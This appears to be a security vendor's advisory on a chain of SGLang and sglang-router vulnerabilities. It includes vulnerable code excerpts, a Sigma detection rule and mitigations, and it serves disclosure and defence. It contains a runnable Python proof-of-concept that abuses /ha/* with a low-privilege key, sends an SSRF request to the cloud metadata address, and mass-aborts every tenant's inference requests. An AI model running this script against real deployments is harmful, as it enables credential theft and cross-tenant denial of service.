Skip to content

CVE-2026-112267: SGLang Disaggregated Decode Worker bootstrap_host SSRF, sglang-router Mesh HA Auth Bypass & Mooncake KV-Cache Exhaustion Chain

Density:
C-Level Executive Briefing CVE-2026-112267 CRITICAL SCORE 94/100

Critical five-part vulnerability cluster in SGLang through 0.5.22 and sglang-router through 0.3.2 (CVE-2026-112267, CVE-2026-112268, CVE-2026-112266, CVE-2026-112269, CVE-2026-112270). In Prefill-Decode (PD) disaggregation deployments, Decode workers trust caller-supplied bootstrap_host and bootstrap_port parameters in /generate requests, enabling synchronous Server-Side Request Forgery (SSRF) and worker thread blocking (CVE-2026-112267). Simultaneously, sglang-router's /ha/* mesh management endpoints fail to enforce Admin role checks against standard data-plane API keys (CVE-2026-112268), Scheduler.abort_request terminates unrelated tenants' in-flight inferences via req.rid.startswith() prefix matching (CVE-2026-112266), and Mooncake ZMQ sockets allow unauthenticated decode registrations and unbounded STAGING_RSP chunk_idx memory allocations that OOM-kill GPU schedulers (CVE-2026-112269 / CVE-2026-112270).

HYBRID

HERMES THREAT SCORE & DISAGGREGATED AI CLUSTER EVALUATION

Target: SGLang Disaggregated Decode/Prefill Coordinator, Mooncake Transfer Engine & sglang-router Mesh HA Plane (python/sglang/srt/disaggregation/mooncake/conn.py & sgl-router)
Confidence: 99%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 17 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

While standalone CVSS metrics score the individual primitives separately (CVE-2026-112267 at 8.6โ€“9.1 for Decode worker SSRF, CVE-2026-112268 at 6.5 for /ha/* router authorization bypass, CVE-2026-112266 at 8.2 for rid prefix abort, and CVE-2026-112269 / CVE-2026-112270 at 7.5โ€“8.2 for Mooncake ZMQ memory exhaustion), the Hermes Threat Score evaluates this unified disaggregated-serving compromise chain at 94 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 96 (EXTREME). In multi-node GPU clusters serving autonomous LLM agents, Prefill-Decode (PD) disaggregation separates compute-bound prefill from bandwidth-bound decode over high-speed RDMA/ZMQ fabrics. An attacker with a basic inference token can abuse sglang-router's /ha/* mesh routes (CVE-2026-112268), coerce Decode workers into executing SSRF calls against cloud metadata services (169.254.169.254) or internal control planes via bootstrap_host (CVE-2026-112267), mass-abort every active tenant's agentic reasoning loop via 1-byte rid prefix matching (CVE-2026-112266), and crash Prefill GPU schedulers via Mooncake STAGING_RSP chunk_idx OOM amplification (CVE-2026-112270).

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-112267: SGLang Disaggregated Decode Worker bootstrap_host SSRF, sglang-router Mesh HA Auth Bypass & Mooncake KV-Cache Exhaustion ChainVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMooncake Distributed KVCache Store
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Mooncake Distributed KVCache Store documented in Hermes dossier.”

Supporting Verified Evidence:

On October 19โ€“20, 2026, VulnCheck Initial Access Intelligence and upstream security researchers disclosed a five-vulnerability architectural compromise chain across SGLang (sgl-project/sglang, versions through 0.5.22) and sglang-router / sgl-model-gateway (versions through 0.3.2):

  1. CVE-2026-112267 (CWE-918, Decode Worker bootstrap_host & bootstrap_port SSRF): In SGLangโ€™s Prefill-Decode (PD) disaggregation architecture (GitHub Issue #45008), Decode workers expose bootstrap_host, bootstrap_port, and bootstrap_room directly in the HTTP GenerateReqInput schema (/generate and /v1/chat/completions). When a caller reaches a Decode worker and supplies arbitrary network coordinates in bootstrap_host and bootstrap_port, the worker initiates synchronous HTTP/ZMQ KV-cache handshake connections to the untrusted destination without verifying whether it belongs to an authorized Prefill worker poolโ€”enabling Server-Side Request Forgery (SSRF) against internal control planes or cloud metadata (169.254.169.254) and stalling shared inference event loops.
  2. CVE-2026-112268 (CWE-863, sglang-router Mesh HA Authorization Bypass): In sglang-router (<= 0.3.2), high-availability mesh management endpoints under /ha/* fail to enforce control-plane Admin role verification. Any client holding a low-privilege data-plane API key can read or mutate cluster mesh state, inspect internal worker topologies, or disrupt HA failovers.
  3. CVE-2026-112266 (CWE-400 / CWE-697, Cross-Request Abort via rid Prefix Matching): In python/sglang/srt/managers/scheduler.py (Scheduler.abort_request), SGLang matches cancellation requests using req.rid.startswith(recv_req.rid) rather than exact string equality. Any client calling /abort_request (or dropping a connection) with a 1-character rid prefix (e.g., "a", "0", or "") forcibly aborts (finish_reason: "abort") every concurrent in-flight generation request across all tenants whose request ID starts with that character.
  4. CVE-2026-112269 & CVE-2026-112270 (CWE-770, Mooncake ZMQ Decode Registration & STAGING_RSP chunk_idx Memory Exhaustion): When running PD disaggregation with the Mooncake transfer engine (python/sglang/srt/disaggregation/mooncake/conn.py), Prefill nodes accept unauthenticated decode registration messages on ZMQ PULL sockets (CVE-2026-112269), while handle_staging_rsp() fails to bound the chunk_idx integer in STAGING_RSP messages (CVE-2026-112270). Supplying a massive chunk_idx under fresh room IDs forces unbounded list/buffer allocation until the Linux OOM killer terminates the GPU scheduler process.

Technical Vulnerability Mechanics & 5-Flaw Architecture Dissection

Section titled โ€œTechnical Vulnerability Mechanics & 5-Flaw Architecture Dissectionโ€

1. CVE-2026-112267: Decode Worker bootstrap_host & bootstrap_port SSRF (#45008)

Section titled โ€œ1. CVE-2026-112267: Decode Worker bootstrap_host & bootstrap_port SSRF (#45008)โ€

In SGLangโ€™s Prefill-Decode (PD) Disaggregation design, compute-intensive prompt prefill and memory-bandwidth-bound token decoding run on separate GPU node pools. To coordinate out-of-band Key-Value (KV) cache transfers over RDMA/NIXL/Mooncake without routing gigabytes of tensor state through a central proxy, GenerateReqInput (python/sglang/srt/managers/io_struct.py) exposes three coordination fields:

  • bootstrap_host: IP or hostname of the Prefill workerโ€™s bootstrap coordination server.
  • bootstrap_port: TCP port of the Prefill bootstrap server.
  • bootstrap_room: Unique 64-bit integer session/room ID for the request.

In SGLang versions <= 0.5.22, when a Decode worker receives a /generate request containing bootstrap_host and bootstrap_port, its disaggregation transfer manager (python/sglang/srt/disaggregation/decode.py and backend connection managers in mooncake/conn.py / nixl/conn.py) immediately connects to http://{bootstrap_host}:{bootstrap_port}/... (or opens a synchronous socket handshake) to register the decode receiver buffer:

# VULNERABLE PATTERN: python/sglang/srt/managers/io_struct.py & disaggregation/mooncake/conn.py (<= 0.5.22)
@dataclass
class GenerateReqInput:
text: Optional[Union[List[str], str]] = None
# ...
# FLAW (CWE-918): Exposed directly to untrusted HTTP callers on /generate!
bootstrap_host: Optional[Union[List[str], str]] = None
bootstrap_port: Optional[Union[List[Optional[int]], int]] = None
bootstrap_room: Optional[Union[List[Optional[int]], int]] = None
# Inside Decode KV-Transfer Bootstrap Handshake:
def _connect_to_prefill_bootstrap(self, bootstrap_host: str, bootstrap_port: int, room: int):
# FLAW: No allowlist verification against pre-configured Prefill worker IPs/ports!
# Executes synchronous outbound connection to caller-supplied host:port:
bootstrap_addr = f"http://{bootstrap_host}:{bootstrap_port}/bootstrap"
resp = requests.post(bootstrap_addr, json={"room": room, "decode_rank": self.rank}, timeout=5.0)

Because bootstrap_host and bootstrap_port are accepted directly from the JSON body without checking against a static allowlist of cluster Prefill peers, an attacker can:

  1. Trigger Blind or Response-Timing SSRF: Force the GPU Decode worker to issue requests to internal Kubernetes services, local etcd/Redis instances (127.0.0.1:2379, 127.0.0.1:6379), or cloud metadata endpoints (169.254.169.254).
  2. Stall the Decode Scheduler Loop: Point bootstrap_host at a tarpit IP/port that accepts TCP SYN packets but never completes the HTTP response, blocking synchronous bootstrap threads and starving all concurrent decode batches.

2. CVE-2026-112268: sglang-router Mesh HA /ha/* Authorization Bypass

Section titled โ€œ2. CVE-2026-112268: sglang-router Mesh HA /ha/* Authorization Bypassโ€

To front disaggregated Prefill and Decode pools, deployments use sglang-router (sgl-model-gateway). In versions <= 0.3.2, the router exposes High-Availability (HA) mesh synchronization and cluster state management endpoints under /ha/* (e.g., /ha/status, /ha/workers, /ha/sync, /ha/config).

Due to a middleware routing oversight (CWE-863), the /ha/* route group was mounted under the general authenticated middleware tier rather than the control-plane Admin role guard. Consequently, any external tenant or compromised application possessing a standard data-plane API key (intended solely for /v1/chat/completions) can invoke /ha/* endpoints to enumerate internal Prefill/Decode worker IP addresses and ports (providing exact targets for CVE-2026-112267, CVE-2026-112269, and CVE-2026-112270) or alter HA mesh routing state.

3. CVE-2026-112266: Cross-Request Termination via rid.startswith() Prefix Matching

Section titled โ€œ3. CVE-2026-112266: Cross-Request Termination via rid.startswith() Prefix Matchingโ€

In python/sglang/srt/managers/scheduler.py (and tokenizer_manager.py), SGLang assigns or accepts a string Request ID (rid) for every inference request. Because parallel sampling (n > 1) or chunked pipeline stages internally append suffixes to a parent rid, Scheduler.abort_request() implemented cancellation by checking whether any queued or running requestโ€™s rid started with the aborted recv_req.rid:

# VULNERABLE: python/sglang/srt/managers/scheduler.py (<= 0.5.22)
def abort_request(self, recv_req: AbortReq):
# Delete requests in the waiting queue
to_del = []
for i, req in enumerate(self.waiting_queue):
# FLAW (CWE-697 / CWE-400): Unbounded prefix match on caller-controlled recv_req.rid!
# If recv_req.rid is "a" or "", it matches EVERY request in the queue!
if req.rid.startswith(recv_req.rid):
to_del.append(i)
req.finished_reason = FINISH_ABORT()
# ...
# Also aborts active GPU batch requests in self.running_batch.reqs:
for req in self.running_batch.reqs:
if req.rid.startswith(recv_req.rid):
req.to_abort = True

An attacker who sends POST /abort_request with {"rid": "a"} (or initiates a streaming request with a single-character rid and immediately disconnects, triggering automated cleanup abort) terminates every active and queued request across all tenants whose rid begins with "a" (or all hex UUIDs in 16 requests using 0โ€“f).

4. CVE-2026-112269 & CVE-2026-112270: Mooncake ZMQ Decode Registration & STAGING_RSP chunk_idx OOM

Section titled โ€œ4. CVE-2026-112269 & CVE-2026-112270: Mooncake ZMQ Decode Registration & STAGING_RSP chunk_idx OOMโ€

When SGLang (<= 0.5.22) operates in PD disaggregation mode with --disaggregation-transfer-backend mooncake (python/sglang/srt/disaggregation/mooncake/conn.py), two additional unauthenticated memory exhaustion flaws arise:

  • CVE-2026-112269 (Unauthenticated Mooncake Decode Registrations): The Prefill rankโ€™s ZeroMQ (ZMQ_PULL) coordination socket accepts raw multipart registration frames from any network-reachable peer without authentication or session limits. Flooding unique mooncake_session_id registrations and large nested buffer descriptors exhausts host RAM on the Prefill node.
  • CVE-2026-112270 (Mooncake STAGING_RSP chunk_idx Unbounded Allocation): After discovering internal rank addresses (e.g., via /route or /ha/*), an attacker can send crafted STAGING_RSP frames to handle_staging_rsp() specifying an astronomical chunk_idx integer under fresh room IDs. Because handle_staging_rsp() indexes or resizes staging tracking structures directly using the unvalidated chunk_idx value without checking upper bounds against actual prompt chunk counts, a single crafted frame triggers massive memory allocation and crashes the GPU scheduler via the OS OOM killer.
flowchart TD
Attacker["Remote Attacker / Low-Privilege Data-Plane Tenant"]
subgraph Router["sglang-router / sgl-model-gateway (<= 0.3.2)"]
CVE268["CVE-2026-112268 (CWE-863)<br/>/ha/* Mesh HA Management Routes<br/>Missing Admin Role Check (Data-Plane Key Accepted)"]
end
subgraph SGLangCluster["SGLang Disaggregated Inference Cluster (<= 0.5.22)"]
CVE266["CVE-2026-112266 (CWE-400)<br/>Scheduler.abort_request()<br/>req.rid.startswith(recv_req.rid) Cross-Tenant Mass Abort"]
CVE267["CVE-2026-112267 (CWE-918)<br/>Decode Worker /generate<br/>Unvalidated bootstrap_host & bootstrap_port SSRF"]
CVE269["CVE-2026-112269 & CVE-2026-112270 (CWE-770)<br/>Mooncake ZMQ PULL & handle_staging_rsp()<br/>Unauthenticated Session Flood & Huge chunk_idx OOM"]
end
subgraph Impact["Cluster-Wide AI Infrastructure Impact"]
IMDS["Cloud IMDS & Internal Control Planes<br/>(169.254.169.254 / etcd / K8s API)"]
DoS["Multi-Tenant Agentic Inference Blackout<br/>& GPU Scheduler OOM Crash"]
end
Attacker -- "1. Data-Plane API Key" --> CVE268
CVE268 -- "Leaks Internal Prefill/Decode Rank IPs & Ports" --> CVE267
CVE268 -- "Exposes ZMQ /route Coordinates" --> CVE269
Attacker -- "2. 1-Byte rid ('0'..'f')" --> CVE266
Attacker -- "3. Forged bootstrap_host" --> CVE267
CVE267 --> IMDS
CVE266 --> DoS
CVE269 --> DoS
style CVE267 fill:#ff4d4d,stroke:#990000,color:#ffffff
style CVE268 fill:#ff6600,stroke:#993300,color:#ffffff
style CVE266 fill:#ff4d4d,stroke:#990000,color:#ffffff
style CVE269 fill:#ff1a1a,stroke:#800000,color:#ffffff

The following verification script demonstrates how an attacker chains CVE-2026-112268 (router mesh reconnaissance), CVE-2026-112267 (Decode worker bootstrap_host SSRF), and CVE-2026-112266 (cross-tenant rid prefix abort):

#!/usr/bin/env python3
"""
Proof-of-Concept: SGLang Disaggregated Serving & Router Compromise Chain
Covers CVE-2026-112268 (/ha/* Auth Bypass), CVE-2026-112267 (bootstrap_host SSRF),
and CVE-2026-112266 (Cross-Request rid Prefix Abort).
"""
import requests
ROUTER_URL = "http://sglang-router.internal:8000"
DECODE_WORKER_URL = "http://sglang-decode-0.internal:30000"
DATA_PLANE_API_KEY = "sk-user-standard-inference-key"
headers = {
"Authorization": f"Bearer {DATA_PLANE_API_KEY}",
"Content-Type": "application/json",
}
# Step 1 (CVE-2026-112268): Query sglang-router /ha/* mesh management endpoint
# using a standard non-admin data-plane API key
ha_resp = requests.get(f"{ROUTER_URL}/ha/workers", headers=headers, timeout=5)
print("[*] CVE-2026-112268 /ha/workers status:", ha_resp.status_code, ha_resp.text[:200])
# Step 2 (CVE-2026-112267): Coerce Decode worker into initiating synchronous SSRF
# handshake to internal metadata / control-plane service via bootstrap_host & bootstrap_port
ssrf_payload = {
"text": "Hello",
"sampling_params": {"max_new_tokens": 4},
"bootstrap_host": "169.254.169.254",
"bootstrap_port": 80,
"bootstrap_room": 99412026,
}
ssrf_resp = requests.post(f"{DECODE_WORKER_URL}/generate", json=ssrf_payload, headers=headers, timeout=10)
print("[*] CVE-2026-112267 Decode SSRF response:", ssrf_resp.status_code)
# Step 3 (CVE-2026-112266): Mass-abort all concurrent tenant requests across the
# GPU scheduler by sweeping 1-character hex prefixes in /abort_request
for prefix in "0123456789abcdef":
requests.post(
f"{DECODE_WORKER_URL}/abort_request",
json={"rid": prefix},
headers=headers,
timeout=3,
)
print("[*] CVE-2026-112266 Swept 16 hex prefixes to abort all active tenant generations.")

Review our companion SGLang analysesโ€”CVE-2026-111391 (SGLang Debug Dumper eval() Sandbox Escape RCE) and CVE-2026-111392 (SGLang Multimodal mm_hashes KV-Cache Poisoning)โ€”to deploy comprehensive monitoring across your GPU inference fleet.

title: SGLang Decode Worker bootstrap_host SSRF, Router Mesh HA Bypass & rid Prefix Abort (CVE-2026-112267 / CVE-2026-112268 / CVE-2026-112266)
id: 7c3e9a12-1122-467b-b901-sglang112267
status: experimental
description: Detects exploitation of CVE-2026-112267 (bootstrap_host SSRF targeting internal/metadata IPs on SGLang /generate), CVE-2026-112268 (unauthorized /ha/* mesh route access on sglang-router), and CVE-2026-112266 (short 1-2 character rid prefix mass-abort calls).
references:
- https://vulncheck.com/advisories/sglang-through-0.5.22-ssrf-via-bootstrap-host-and-bootstrap-port-on-decode-worker
- https://vulncheck.com/advisories/sglang-router-through-0.3.2-authorization-bypass-via-mesh-ha-management-routes
- https://vulncheck.com/advisories/sglang-through-0.5.22-cross-request-abort-via-rid-prefix-matching
author: Hermes Threat Intelligence
date: 2026/10/20
logsource:
category: webserver
detection:
selection_decode_ssrf:
cs-method: 'POST'
cs-uri-stem|contains:
- '/generate'
- '/v1/chat/completions'
request_body|contains: 'bootstrap_host'
selection_ssrf_targets:
request_body|contains:
- '169.254.169.254'
- '127.0.0.1'
- 'localhost'
- 'metadata.google.internal'
- ':2379'
- ':6379'
selection_router_ha:
cs-uri-stem|startswith: '/ha/'
selection_short_rid_abort:
cs-method: 'POST'
cs-uri-stem|contains: '/abort_request'
request_body|re: '"rid"\s*:\s*"[a-zA-Z0-9_-]{0,2}"'
condition: (selection_decode_ssrf and selection_ssrf_targets) or selection_router_ha or selection_short_rid_abort
falsepositives:
- Internal sglang-router control-plane health checks to /ha/* from authorized router peers
level: critical
tags:
- attack.initial_access
- attack.impact
- attack.t1190
- attack.t1499
- cve.2026-112267
- cve.2026-112268
- cve.2026-112266

  1. Upgrade SGLang to >= 0.5.23 and sglang-router to >= 0.3.3: Update all SGLang Prefill/Decode worker images beyond version 0.5.22 and sglang-router (sgl-model-gateway) beyond 0.3.2 to enforce strict Prefill peer allowlisting on bootstrap_host / bootstrap_port (CVE-2026-112267), Admin role verification on /ha/* routes (CVE-2026-112268), exact rid matching (or internal delimiter scoping) in Scheduler.abort_request() (CVE-2026-112266), and upper-bound validation on Mooncake chunk_idx and session registrations (CVE-2026-112269, CVE-2026-112270).
  2. Strip Caller-Supplied bootstrap_* Fields at the API Gateway (CVE-2026-112267): External clients should never communicate directly with Decode workers or supply bootstrap_host, bootstrap_port, or bootstrap_room. Configure your ingress proxy or sglang-router to strip any client-supplied bootstrap_* fields from incoming /generate and /v1/chat/completions JSON payloads before forwarding requests to disaggregated worker pools.
  3. Block External Access to /ha/*, /route, and /abort_request (CVE-2026-112266 / CVE-2026-112268): At your Envoy, Nginx, or Kubernetes Ingress layer, block external traffic to /ha/* and /route, and enforce minimum length validation (>= 16 characters, UUIDv4 format) on any client-supplied rid parameter before permitting /abort_request.
  4. Isolate Mooncake ZMQ & RDMA Fabrics via Kubernetes NetworkPolicy (CVE-2026-112269 / CVE-2026-112270): Bind Mooncake ZMQ PULL/PUSH coordination sockets strictly to internal pod-to-pod interfaces and apply a Kubernetes NetworkPolicy that allows traffic to Prefill/Decode ZMQ ports exclusively from verified sglang-prefill, sglang-decode, and sglang-router pod labels while blocking Decode pod egress to 169.254.169.254/32.